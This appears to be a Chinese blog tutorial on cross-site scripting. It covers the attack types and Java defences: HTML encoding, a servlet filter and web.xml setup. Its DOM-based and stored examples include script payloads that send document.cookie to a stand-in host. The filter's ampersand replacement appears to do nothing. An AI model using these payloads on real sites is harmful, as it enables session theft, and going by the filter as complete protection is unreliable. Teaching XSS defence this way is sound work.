`

web安全漏洞之一——xss攻击

 
阅读更多

1. 什么是xss?

     XSS又称CSS,全称Cross SiteScript,跨站脚本攻击

 

2. xss攻击的原理?

      攻击者向有XSS漏洞的网站中输入(传入)恶意的HTML代码,当其它用户浏览该网站时,这段HTML代码会自动执行,从而达到攻击的目的。如:盗取用户Cookie、破坏页面结构、重定向到其它网站等。

 

3. xss攻击的分类?

3.1 DOM Based XSS

       DOM Based XSS是一种基于网页DOM结构的攻击,该攻击特点是中招的人是少数人。

例如:有一个url,后面带有一个参数content,当a给b发送一个url:http://www.a.com?content=<script>window.open(“www.b.com?param=”+document.cookie)</script>,当b点击这个链接的时候(假设他已经登录a.com),浏览器就会直接打开b.com,并且把b在a.com中的cookie信息发送到b.com,这样就造成了b的用户名密码等信息泄露。

3.2 Stored XSS

       Stored XSS是存储式XSS漏洞,由于其攻击代码已经存储到服务器上或者数据库中,所以受害者是很多人。

例如: 网站a.com可以发文章,a登录后在a.com中发布了一篇文章,文章中包含了恶意代码,<script>window.open(“www.b.com?param=”+document.cookie)</script>,保存文章。这时b和c看到了a发布的文章,当在查看a的文章时就都中招了,他们的cookie信息都发送到了a的服务器上,攻击成功!这个过程中,受害者是多个人。

 

4. 如何防止xss攻击?

方法一:对用户输入的内容进行过滤。

less-than character (<)

&lt;

greater-than character (>)

&gt;

ampersand character (&)

&amp;

double-quote character (")

&quot;

space character( )

&nbsp;

Any ASCII code character

whose code is greater-than

or equal to 0x80

&#<number>, where <number> is

the ASCII character value.

      比如用户输入:<script>window.location.href=”http://www.baidu.com”;</script>,保存后最终存储的会是:&lt;script&gt;window.location.href=&quot;http://www.baidu.com&quot;&lt;/script&gt;在展现时浏览器会对这些字符转换成文本内容显示,而不是一段可执行的代码。

具体到代码中就是这样:

private static String htmlEncode(char c) {
    switch(c) {
       case '&':
           return"&amp;";
       case '<':
           return"&lt;";
       case '>':
           return"&gt;";
       case '"':
           return"&quot;";
       case ' ':
           return"&nbsp;";
       default:
           return c +"";
    }
}
 
/** 对传入的字符串str进行Html encode转换 */
public static String htmlEncode(String str) {
    if(str ==null || str.trim().equals(""))   return str;
    StringBuilder encodeStrBuilder = new StringBuilder();
    for (int i = 0, len = str.length(); i < len; i++) {
       encodeStrBuilder.append(htmlEncode(str.charAt(i)));
    }
    return encodeStrBuilder.toString();
}

 

方法二:使用过滤器

过滤器代码:

 

package com.comp.shp.web.filter;

import java.io.IOException;

import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServletRequest;

import org.apache.commons.lang3.StringUtils;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;

public class IllegalCharacterFilter implements Filter {

	private static final Logger LOGGER = LoggerFactory.getLogger(IllegalCharacterFilter.class);
	
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
    	LOGGER.info("IllegalCharacterFilter init");
    }

    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException,
            ServletException {
        HttpServletRequest servletrequest = (HttpServletRequest) request;
        //获取当前登录用户
        String custNo = servletrequest.getRemoteUser();
        //只有登陆的用户才能输入
        if (StringUtils.isNotBlank(custNo)) {
            // 转换特殊字符,继续向下请求
            chain.doFilter(new IllegalCharacterRequestWrapper(servletrequest), response);
        } else {
            chain.doFilter(servletrequest, response);
        }
    }

    @Override
    public void destroy() {
    	LOGGER.info("IllegalCharacterFilter destroy");
    }

}
 IllegalCharacterRequestWrapper.java: 

 

 

package com.comp.shp.web.filter;

import java.util.HashMap;
import java.util.Iterator;
import java.util.Map;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletRequestWrapper;

import org.apache.commons.lang3.StringUtils;

public class IllegalCharacterRequestWrapper extends HttpServletRequestWrapper {
	
    public IllegalCharacterRequestWrapper(HttpServletRequest request) {
        super(request);
    }

    private String format(String paramValue) {
        return StringUtils.replaceEach(paramValue, new String[] { "<", ">", "'", "\"", "&" }, new String[] { "《", "》",
                "‘", "“", "&" });
    }

    @Override
    public Object getAttribute(String name) {
        Object value = super.getAttribute(name);
        if (value instanceof String) {
            value = format(String.valueOf(value));
        }
        return value;
    }


    @Override
    public String getParameter(String name) {
        String value = super.getParameter(name);
        if (value == null)
            return null;
        return format(value);
    }

    @Override
    public String[] getParameterValues(String name) {
        String[] values = super.getParameterValues(name);
        if (values != null) {
            for (int i = 0; i < values.length; i++) {
                values[i] = format(values[i]);
            }
        }
        return values;
    }

    @SuppressWarnings({ "rawtypes", "unchecked" })
    @Override
    public Map getParameterMap() {
        HashMap paramMap = (HashMap) super.getParameterMap();
        paramMap = (HashMap) paramMap.clone();
        for (Iterator iterator = paramMap.entrySet().iterator(); iterator.hasNext();) {
            Map.Entry entry = (Map.Entry) iterator.next();
            String[] values = (String[]) entry.getValue();
            for (int i = 0; i < values.length; i++) {
                if (StringUtils.isNotEmpty(values[i])) {
                    values[i] = format(values[i]);
                }
            }
            entry.setValue(values);
        }
        return paramMap;
    }
}
 最后将过滤器配置到web.xml里:

 

         <!-- 非法字符过滤器 -->
	 <filter>
		<filter-name>IllegalCharacterFilter</filter-name>
		<filter-class>com.comp.shp.web.filter.IllegalCharacterFilter</filter-class>
	</filter> 
    <filter-mapping>
		<filter-name>IllegalCharacterFilter</filter-name>
		<url-pattern>*.do</url-pattern>
	</filter-mapping>
	
    <filter-mapping>
		<filter-name>IllegalCharacterFilter</filter-name>
		<url-pattern>*.htm</url-pattern>
	</filter-mapping>
 
 
分享到:
评论

相关推荐

    预防XSS攻击和SQL注入XssFilter

    XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。比如这些代码包括HTML代码和客户端脚本。攻击者利用XSS漏洞旁路掉访问控制——例如同源策略(same origin...

    搜索框——不能忽视的XSS漏洞—搜索框所引起的XSS漏洞

    XSS(Cross-site scripting)是一种常见的网络安全漏洞,源于Web应用程序未能正确处理用户输入的数据,导致攻击者能够注入恶意脚本,进而影响其他用户的浏览器。这种漏洞最早出现在1996年,随着JavaScript的发展,...

    XSS跨站脚本攻击剖析与防御.pdf

    XSS跨站脚本攻击剖析与防御》是一本专门剖析XSS安全的专业书,总共8章,主要包括的内容如下。第1章 XSS初探,主要阐述了XSS的基础知识,包括XSS的攻击原理和危害。第2章 XSS利用方式,就当前比较流行的XSS利用方式做...

    XSS跨站脚本攻击剖析与防御

    XSS跨站脚本攻击剖析与防御是一本专门剖析XSS安全的专业书,总共8章,主要包括的内容如下。第1章 XSS初探,主要阐述了XSS的基础知识,包括XSS的攻击原理和危害。第2章 XSS利用方式,就当前比较流行的XSS利用方式做了...

    XSS跨站脚本攻击在Java开发中防范的方法

    XSS(Cross-Site Scripting)跨站脚本攻击是一种常见的安全威胁,它利用Web应用程序的安全漏洞,将恶意脚本注入到合法的网页中,进而攻击最终用户。XSS攻击主要分为以下两种类型: 1. **存储型XSS**(Persistent ...

    防止XSS攻击xssProtect用到的jar包

    XSS(Cross Site Scripting,跨站脚本攻击)是一种常见的网络安全漏洞,它允许攻击者在用户浏览器上执行恶意脚本。这些脚本可以劫持用户会话、盗取敏感信息,甚至对用户进行钓鱼攻击。为了防御XSS攻击,开发者通常会...

    XSS跨站脚本gj剖析与防御.pdf

    《XSS跨站脚本攻击剖析与防御》是一本专门剖析XSS安全的专业书,总共8章,主要包括的内容如下。第1章 XSS初探,主要阐述了XSS的基础知识,包括XSS的攻击原理和危害。第2章 XSS利用方式,就当前比较流行的XSS利用方式...

    XSS漏洞

    XSS是一种常见的网络安全漏洞,它允许恶意攻击者通过在网页上注入可执行的脚本来对用户进行攻击。攻击者通常利用这种漏洞来窃取用户的敏感信息,如Cookie、会话令牌等,从而实现身份冒充。 博客链接提到的...

    XSS跨站脚本攻击方法初探

    XSS攻击是一种针对Web应用程序的安全漏洞,攻击者通过在合法网站上插入恶意脚本来获取用户的敏感信息。本文将详细解释XSS攻击的机制,并介绍如何通过偷盗Cookie、利用iframe/frame以及XMLHttpRequest等方式来进行XSS...

    安全之路:Web渗透技术及实战案例解析(第2版) 高清带标签

    《安全之路:Web渗透技术及实战案例解析(第2版)》是一本深入探讨Web安全领域的专业书籍,针对Web应用程序的安全性提供了全面的理论知识和实践经验。本书旨在帮助读者理解和应对日益严重的网络安全威胁,通过学习Web...

    网络攻防-XSS跨站脚本攻击详解及其防范

    使用场景及目标:帮助IT专业人员深入了解XSS的工作机制,提高对XSS的认识水平,并掌握具体的防护手段,加强web应用安全性,减少遭受XSS攻击的可能性。 其他说明:阅读本文有助于加深对于现代web应用程序中普遍存在的...

    基于爬虫的XSS漏洞检测工具设计与实现.pdf

    为了有效检测和防范XSS漏洞,沈寿忠和张玉清在《基于爬虫的XSS漏洞检测工具设计与实现》一文中提出了一种基于网络爬虫技术的XSS漏洞检测工具——XSS-Scan。 #### XSS漏洞概览 XSS攻击通常分为三种类型:反射型XSS...

    XSS转码 && struts2 property标签的bug

    标题 "XSS转码 && struts2 property标签的bug" 指向的是一个关于Web安全的话题,特别是针对Struts2框架的一个特定安全问题。XSS(Cross-site scripting)是Web应用中的常见安全漏洞,而Struts2是Java开发中的流行MVC...

    XSS危险字符以及其处理方法

    XSS(Cross Site Scripting)是一种经常出现在 web 应用中的计算机安全漏洞,它允许恶意 web 用户将代码植入到提供给其它用户使用的页面中。_attackers可以利用 XSS 漏洞旁路掉访问控制——例如同源策略(same ...

    YXcms-含有存储型XSS漏洞的源码包(1).zip

    YXcms是一个常见的内容管理系统,但在这个特定的版本——"YXcms-含有存储型XSS漏洞的源码包(1).zip"中,存在一个严重的安全问题:存储型跨站脚本(Stored Cross-Site Scripting,简称存储型XSS)漏洞。这种漏洞允许...

    Web安全实验环境——WebGoat

    WebGoat是一个专门为网络安全教育设计的实验环境,它是一个开源的Web应用,旨在帮助学习者理解和防御各种Web应用程序安全漏洞。这个项目由OWASP(开放网络应用安全项目)发起,是一个广泛使用的教学平台,用于教授...

    SCWCD之路——Web应用的安全性

    本篇文章将探讨“SCWCD之路——Web应用的安全性”,并结合提供的文件`catalina.jar`和`tomcat-juli.jar`,深入讲解相关的安全知识点。 首先,让我们理解`catalina.jar`和`tomcat-juli.jar`。这两个文件都是Apache ...

Global site tag (gtag.js) - Google Analytics